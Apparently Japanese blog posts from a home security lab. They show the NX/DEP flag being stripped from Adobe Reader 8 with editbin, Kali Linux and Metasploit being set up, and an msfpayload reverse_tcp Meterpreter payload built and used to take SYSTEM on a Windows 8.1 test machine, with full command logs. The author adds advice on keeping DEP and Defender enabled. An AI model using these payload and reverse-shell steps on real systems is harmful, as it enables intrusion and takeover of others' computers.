            1000 size of headers
           55392 checksum
               2 subsystem (Windows GUI)
             100 DLL characteristics
                   NX compatible
          100000 size of stack reserve
            1000 size of stack commit
          100000 size of heap reserve
            1000 size of heap commit
(長いので省略)

D:\MSWORK> editbin /nxcompat:no "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe"
Microsoft (R) COFF/PE Editor Version 10.00.30319.01
Copyright (C) Microsoft Corporation.  All rights reserved.

D:\MSWORK> dumpbin /headers "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe"
Microsoft (R) COFF/PE Dumper Version 10.00.30319.01
Copyright (C) Microsoft Corporation.  All rights reserved.

Dump of file \\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES
             14C machine (x86)
               4 number of sections
        46444E37 time date stamp Fri May 11 04:06:31 2007
               0 file pointer to symbol table
               0 number of symbols
              E0 size of optional header
             103 characteristics
                   Relocations stripped
                   Executable
                   32 bit word machine

OPTIONAL HEADER VALUES
             10B magic # (PE32)
            8.00 linker version
            3000 size of code
           4E000 size of initialized data
               0 size of uninitialized data
            3402 entry point (00403402)
            1000 base of code
            4000 base of data
          400000 image base (00400000 to 00451FFF)
            1000 section alignment
            1000 file alignment
            4.00 operating system version
            0.00 image version
            4.00 subsystem version
               0 Win32 version
           52000 size of image
            1000 size of headers
           55292 checksum
               2 subsystem (Windows GUI)
               0 DLL characteristics
          100000 size of stack reserve
            1000 size of stack commit
          100000 size of heap reserve
            1000 size of heap commit
               0 loader flags
              10 number of directories
               0 [       0] RVA [size] of Export Directory
            7264 [      8C] RVA [size] of Import Directory
(長いので省略)

NX フラグさえ取ってしまえば、DEP の設定は既定の OptIn のままで DEP は無効になります。

この状態で PDF を開くと、最新の Windows 8.1 ですら侵入されます。Windows Defender と DEP 設定は無効にしないようにしましょう。

msf exploit(handler) > exploit

[*] Started reverse handler on 10.10.10.80:4455
[*] Starting the payload handler…
[*] Sending stage (769536 bytes) to 10.10.20.70
[*] Meterpreter session 3 opened (10.10.10.80:4455 -> 10.10.20.70:49209) at 2014-08-11 13:48:51 -0700

meterpreter > sysinfo
Computer        : CLIENT
OS              : Windows 8 (Build 9200).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32
meterpreter > shell
Process 2072 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\administrator.CONTOSO\Desktop>ver
ver

Microsoft Windows [Version 6.3.9600]

C:\Users\administrator.CONTOSO\Desktop>

では逆に、XP で AcroRd32.exe に対する DEP を有効にしてみます。上述した wiki によると、DEP は XP SP2 で導入されたようです。

Windows XP での DEP 設定画面 (OptOut にすることで AcroRd32.exe が対象になる)
image

DEP によるクラッシュ
image

"DEP 無効化" などのキーワードでインターネット検索を行うと、教えて goo や某知恵袋などのサイトがたくさんヒットし、Windows Live Messenger や、某 DVD ソフトなどが DEP によってクラッシュさせられる事例が見受けられます。実際にこれらのソフトの特定のバージョンが、DEP を有効化すると動かなくなるという現象は十分にあり得ることですが、AlwaysOff の設定は極力使うべきではないでしょう。

クラッシュしてしまうソフトが DEP で落ちてしまうけれども、OptOut の設定に exe を追加しようとすると 「このプログラムは、データ実行防止 (DEP) を有効にして実行する必要があります。このプログラムでは DEP を無効にすることはできません。」 のダイアログが出て追加できない、という現象には注意が必要な気がします。このダイアログが出るということは、その exe ファイルの NX フラグが有効になっている可能性が高いです。この場合、その製品ベンダーは DEP が有効な状態でアプリケーションが動作可能であることを想定してテストしているはずなので、製品のセキュリティー ホールか、既に攻撃を受けている可能性があるので、ウィルス スキャンや怪しいファイルの削除するなどして対策した方がよさそうです。もし DEP 有効下で動かないのに NX フラグが ON になった exe を出荷しているとすればベンダーが XP でしかテストしてない、とかそういうお粗末な状況が予想されます。

攻撃者からすると、攻撃対象のコンピューターが XP だったり、DEP が無効になっているに越したことはありません。攻撃手段の第一歩として、ソーシャル エンジニアリングを利用してユーザーに対して DEP を無効にさせようといろいろな手を打ってくる可能性もあります。DEP に限らず、セキュリティ設定を弱くする場合には、その効果をよく理解してから行いたいものです。最近だと特にブラウザーの設定ですね。

これが 6 年前のセキュリティー ホールですが、最近の OS やソフトウェアはセキュリティー対策が厳しくなってきているので、攻撃を行うには全てを克服しないといけません。クラッカーの腕の見せ所です。次回はもう少し最近のセキュリティー ホールを見てみたいと思います。

Install&Play Metasploit on Kali Linux

セキュリティ関連の勉強中、ということで、metasploit というフレームワークに手を出してみることに。Kali Linux とかいう Penetration Test  に特化したディストリビューションがあるらしいので、それを使ってみる。Kali Linux には Metasploit が標準で含まれているようです。

Penetration Testing Software | Metasploit
http://www.metasploit.com/

Kali Linux | Rebirth of BackTrack, the Penetration Testing Distribution.
http://www.kali.org/

2014/8/7 時点での最新版は、Kali Linux 64bit 1.0.8 (http://www.kali.org/downloads/)

ISO をダウンロードして普通にインストールするだけです。今回は Hyper-V ゲストにインストール。インストーラーでは迷わず Graphical Install をチョイス。なお、RAM は 1GB だとちょっと辛いので、最低でも 2GB は割り当てたほうがよいです。

(2015/1/26 追記)
本家のサイトを見ると、10GB HDD、512MB RAM が最低らしいです。

Kali Linux Hard Disk Install | Kali Linux Official Documentation
http://docs.kali.org/installation/kali-linux-hard-disk-install

image

インストールは問題なく終わり、ログイン画面。

image

面白いことに、世間の流れとは逆に、Kali Linux は root で操作することが標準となっているようです。理由は↓

Why Does Kali Linux Only Install as root ? – Kali Linux Official Documentation
http://docs.kali.org/faq/why-does-kali-linux-only-install-as-root

何はともあれ、まずは ssh を起動します。openssh-server はインストールに含まれているようですが、自動起動するように設定されていないので、自動機能の設定もしておきます。

root@kali:~# service ssh start
[ ok ] Starting OpenBSD Secure Shell server: sshd.

root@kali:~# sudo update-rc.d ssh enable
update-rc.d: using dependency based boot sequencing

image

root のままだと何だか気持ち悪いので、作業用ユーザー alice を作ることにします。

root@kali:~# useradd -m alice
root@kali:~# passwd alice
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@kali:~# usermod -a -G sudo alice
root@kali:~# chsh -s /bin/bash alice

環境変数がいけてないので、.bash_profile を作って追加します。

alice@kali:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
alice@kali:~$ pwd
/home/alice
alice@kali:~$ ls -la
total 24
drwxr-xr-x 2 alice alice 4096 Aug  8 21:42 .
drwxr-xr-x 3 root  root  4096 Aug  8 21:42 ..
-rw-r–r– 1 alice alice  220 Dec 29  2012 .bash_logout
-rw-r–r– 1 alice alice 3391 Jul 21 15:02 .bashrc
-rw-r–r– 1 alice alice 3392 Dec 29  2012 .bashrc.original
-rw-r–r– 1 alice alice  675 Dec 29  2012 .profile
alice@kali:~$ echo export PATH=/usr/sbin:/usr/bin:/sbin:/bin:${PATH} > .bash_profile

(2015/1/26 追記)
上記方法だと、GUI からターミナルを起動したときに設定が反映されません。というのも、/etc/profile の中で root と root 以外のユーザーで異なる PATH を設定するように記述されているためです。

if [ "`id -u`" -eq 0 ]; then
  PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
  PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
fi
export PATH

環境変数をユーザーによって分けておく理由はないので、以下のように if 文は消しておきます。これで GUI 上のターミナルでも環境変数が正しく設定されます。

PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
export PATH

これで OS の準備は終了です。Metasploit を使い始める前に、msfupdate コマンドを実行してバイナリを更新しておきます。バージョンは 4.9.3-2014072301-1kali0 になったようです。

alice@kali:~$ sudo msfupdate

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for alice:
[*]
[*] Attempting to update the Metasploit Framework…
[*]

[*] Checking for updates via the APT repository
[*] Note: expect weekly(ish) updates using this method
[*] Updating to version 4.9.3-2014072301-1kali0
Reading package lists… Done
Building dependency tree
Reading state information… Done
The following packages will be upgraded:
  metasploit metasploit-framework
2 upgraded, 0 newly installed, 0 to remove and 52 not upgraded.
Need to get 259 MB of archives.
After this operation, 16.3 MB of additional disk space will be used.
Get:1
http://http.kali.org/kali/ kali/main metasploit-framework amd64 4.9.3-2014072301-1kali0 [69.8 MB]
Get:2
http://http.kali.org/kali/ kali/non-free metasploit amd64 4.9.3-2014072301-1kali0 [189 MB]
Fetched 259 MB in 1min 19s (3,257 kB/s)
Reading changelogs… Done
(Reading database … 332471 files and directories currently installed.)
Preparing to replace metasploit-framework 4.9.3-2014071601-1kali2 (using …/metasploit-framework_4.9.3-2014072301-1kali0_amd64.deb) …
Unpacking replacement metasploit-framework …
Preparing to replace metasploit 4.9.3-2014071601-1kali2 (using …/metasploit_4.9.3-2014072301-1kali0_amd64.deb) …
[ ok ] Stopping Metasploit worker: worker.
[ ok ] Stopping Metasploit web server: thin.
[ ok ] Stopping Metasploit rpc server: prosvc.
Leaving ‘diversion of /usr/bin/msfbinscan to /usr/bin/msfbinscan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfcli to /usr/bin/msfcli.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfconsole to /usr/bin/msfconsole.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfd to /usr/bin/msfd.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfelfscan to /usr/bin/msfelfscan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfencode to /usr/bin/msfencode.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfmachscan to /usr/bin/msfmachscan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfpayload to /usr/bin/msfpayload.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfpescan to /usr/bin/msfpescan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfrop to /usr/bin/msfrop.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfrpc to /usr/bin/msfrpc.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfrpcd to /usr/bin/msfrpcd.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfupdate to /usr/bin/msfupdate.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfvenom to /usr/bin/msfvenom.framework by metasploit’
Unpacking replacement metasploit …
Setting up metasploit-framework (4.9.3-2014072301-1kali0) …
Setting up metasploit (4.9.3-2014072301-1kali0) …
skipping metasploit initialization: postgres not running
insserv: warning: current start runlevel(s) (empty) of script `metasploit’ overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit’ overrides LSB defaults (0 1 6).
[ ok ] Starting PostgreSQL 9.1 database server: main.
Configuring Metasploit…
Creating metasploit database user ‘msf3’…
Creating metasploit database ‘msf3’…
insserv: warning: current start runlevel(s) (empty) of script `metasploit’ overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit’ overrides LSB defaults (0 1 6).
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
alice@kali:~$

以下の情報によると、Metasploit の起動には postgresql と metasploit サービスの起動が必要みたいなので、これらも自動起動にしておきます。

alice@kali:~$ sudo update-rc.d postgresql enable
update-rc.d: using dependency based boot sequencing
alice@kali:~$ sudo update-rc.d metasploit enable
update-rc.d: using dependency based boot sequencing

Starting Metasploit Framework | Kali Linux Official Documentation
http://docs.kali.org/general-use/starting-metasploit-framework-in-kali

実際に使う前に、ユーザーとライセンスの登録を行います。ローカル コンソール上でブラウザーを起動して、https://localhost:3790 を開きます。こんな感じの画面が出るので、ユーザー名、パスワードなどを決めます。これはローカルで使うものです。

image

次にライセンス登録を行って製品キーを取得します。

image

登録されました。

image

再起動しろ、と言われているので再起動します。

alice@kali:~$ sudo service metasploit restart
[ ok ] Stopping Metasploit worker: worker.
[ ok ] Stopping Metasploit web server: thin.
[ ok ] Stopping Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.

msfconsole コマンドでコンソールが起動します。

image

このまま終わるのもつまらないので、何かやってみましょう。教材はこちら↓

Create Simple Exploit Using Metasploit to Hack Windows 7
http://www.hacking-tutorial.com/hacking-tutorial/create-simple-exploit-using-metasploit-to-hack-windows-7/#sthash.makjzAdL.TEQBARvt.dpbs

同じコマンドを実行するだけです。まずは・・・

alice@kali:~$ sudo msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.80 X > Documents/v4L.exe
Created by msfpayload (
http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"10.10.10.80"}

v4L.exe とかいう怪しい実行可能ファイルができました。次に、Kali Linux では被攻撃システムからのアクセスを待機しておきます。

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.10.10.80
lhost => 10.10.10.80
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4444
[*] Starting the payload handler…
msf exploit(handler) >

先ほど作った怪しげな v4L.exe を適当な Windows マシンにコピーして実行します。バージョンは Windows 8.1 + Update 1 です。

image

v4L.exe を実行すると、Kali Linux 側に信号が来るので、あとは前述したサイトに書かれているコマンドを実行するだけです。

msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4444
[*] Starting the payload handler…
msf exploit(handler) > [*] Sending stage (769536 bytes) to 10.10.20.70
[*] Meterpreter session 1 opened (10.10.10.80:4444 -> 10.10.20.70:49596) at 2014-08-08 22:23:35 -0700
[deprecated] I18n.enforce_available_locales will default to true in the future. If you really want to skip validation of your locale you can set I18n.enforce_available_locales = false to avoid this message.
sessions -l

Active sessions
===============

  Id  Type                   Information                     Connection
  –  —-                   ———–                     ———-
  1   meterpreter x86/win32  CONTOSO\Administrator @ CLIENT  10.10.10.80:4444 -> 10.10.20.70:49596 (10.10.20.70)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > getsystem
…got system (via technique 1).
meterpreter > shell
Process 2924 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami -priv
whoami -priv

PRIVILEGES INFORMATION
———————-

Privilege Name                  Description                               State
=============================== ========================================= =======
SeLockMemoryPrivilege           Lock pages in memory                      Enabled
SeTcbPrivilege                  Act as part of the operating system       Enabled
SeSystemProfilePrivilege        Profile system performance                Enabled
SeProfileSingleProcessPrivilege Profile single process                    Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Enabled
SeCreatePagefilePrivilege       Create a pagefile                         Enabled
SeCreatePermanentPrivilege      Create permanent shared objects           Enabled
SeDebugPrivilege                Debug programs                            Enabled
SeAuditPrivilege                Generate security audits                  Enabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege         Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege   Increase a process working set            Enabled
SeTimeZonePrivilege             Change the time zone                      Enabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Enabled

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

無事、Windows マシンを乗っ取ることができたようです。恐ろしいことに、Administrator どころか System アカウントで動いています。しかも Kali Linux 側ではパスワードなどの入力は一切行っていません。

このコンソール上でウィンドウを持つアプリケーションを実行すると、v4L.exe を実行したコンソール上にウィンドウが表示されます。それを Process Explorer で見るとこんな感じになります。まだ何も調べていませんが、一体どういう仕組みなんでしょうかね。

image

ただし、Windows もやられっぱなしというわけではありません。Windows Defender の real-time protection が有効になっていれば、v4L.exe はすぐに Trojan:Win32/Swrort.A として検出され、削除されます。 まさにトロイの木馬のうち、バックドア型のウィルスですね。

image